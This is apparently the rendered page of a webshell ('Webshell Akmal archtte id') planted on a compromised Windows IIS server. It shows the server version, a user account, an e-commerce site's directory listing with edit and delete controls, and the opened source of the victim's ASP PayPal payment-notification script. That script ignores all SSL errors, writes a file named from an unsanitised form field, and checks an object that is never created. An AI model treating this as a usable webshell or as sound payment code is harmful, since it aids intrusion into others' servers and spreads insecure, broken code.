Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%@LANGUAGE="VBScript"%>
<%
Dim Item_name,Item_number,Payment_status,Payment_amount
Dim Txn_id,Receiver_email,Payer_email
Dim objHttp,str

'str=Request.Form & "&cmd=_notify-validate"
'
'set objHttp=server.CreateObject("Msxml2.ServerXMLHTTP")
'objHttp.open "POST","https://www.paypal.com/cgi-bin/webscr",false
'objHttp.setRequestHeader "Content-type","application/x-www-form-urlencoded"
'objHttp.Send str

'str = Request.Form & "&cmd=_notify-validate"
'' post back to PayPal system to validate
' set objHttp = Server.CreateObject("Msxml2.ServerXMLHTTP")
'' set objHttp = Server.CreateObject("Msxml2.ServerXMLHTTP.4.0")
'objHttp.setOption(2) = 13056
''set objHttp = Server.CreateObject("Microsoft.XMLHTTP")
'objHttp.open "POST", "https://www.paypal.com/cgi-bin/webscr", false
'objHttp.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
'objHttp.Send str

str = Request.Form & "&cmd=_notify-validate"
dim mXmlHttp
set mXmlHttp=Server.CreateObject("Msxml2.ServerXMLHTTP")
mXmlHttp.open "POST","https://www.paypal.com/cgi-bin/webscr",false
mXmlHttp.setOption 2,13056 '忽略所有的SSL错误
mXmlHttp.setOption 3,"VeriSign Class 3 Public Primary CA"
mXmlHttp.setRequestHeader "Accept", "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*"
'mXmlHttp.setRequestHeader "Referer", mReferer
'mXmlHttp.setRequestHeader "Accept-Language","zh-cn"
' mXmlHttp.setRequestHeader "SOAPAction","https://secure-cn.imrworldwide.com"
mXmlHttp.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
mXmlHttp.setRequestHeader "UA-CPU","x86"
mXmlHttp.setRequestHeader "Accept-Encoding","gzip, deflate"
'mXmlHttp.setRequestHeader "User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)"
mXmlHttp.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
'mXmlHttp.setRequestHeader "Host","secsite.163.com"
mXmlHttp.setRequestHeader "Content-Length","62"
mXmlHttp.setRequestHeader "Connection","Keep-Alive"
mXmlHttp.setRequestHeader "Cache-Control","no-cache"
mXmlHttp.send str

'set objHttp = Server.CreateObject("MSXML2.ServerXMLHTTP.3.0")
'objHttp.setOption(2) = 13056
'objHttp.Open "POST", "https://www.paypal.com/cgi-bin/webscr", false
'objHttp.setRequestHeader "Content-type","application/x-www-form-urlencoded"
'objHttp.send str

Item_name=Request.Form("item_name")
Item_number=Request.Form("item_number")
Payment_status=Request.Form("payment_status")
Payment_amount=Request.Form("mc_gross")
Payment_currency=Request.Form("mc_currency")
Txn_id=Request.Form("txn_id")
Receiver_email=Request.Form("receiver_email")
Payer_email=Request.Form("payer_email")
p_invoice=Request.Form("invoice")

if(objHttp.responseText="VERIFIED") then

if lcase(Payment_status)="completed" then

set fs=Server.CreateObject("Scripting.FileSystemObject")
yya= Server.MapPath("../asc365/payment/"& p_invoice & ".inc")   
set f=fs.CreateTextFile(yya,true)
f.close
set f=nothing

end if

elseif(objHttp.responseText="INVALID") then

else

end if

set objHttp=nothing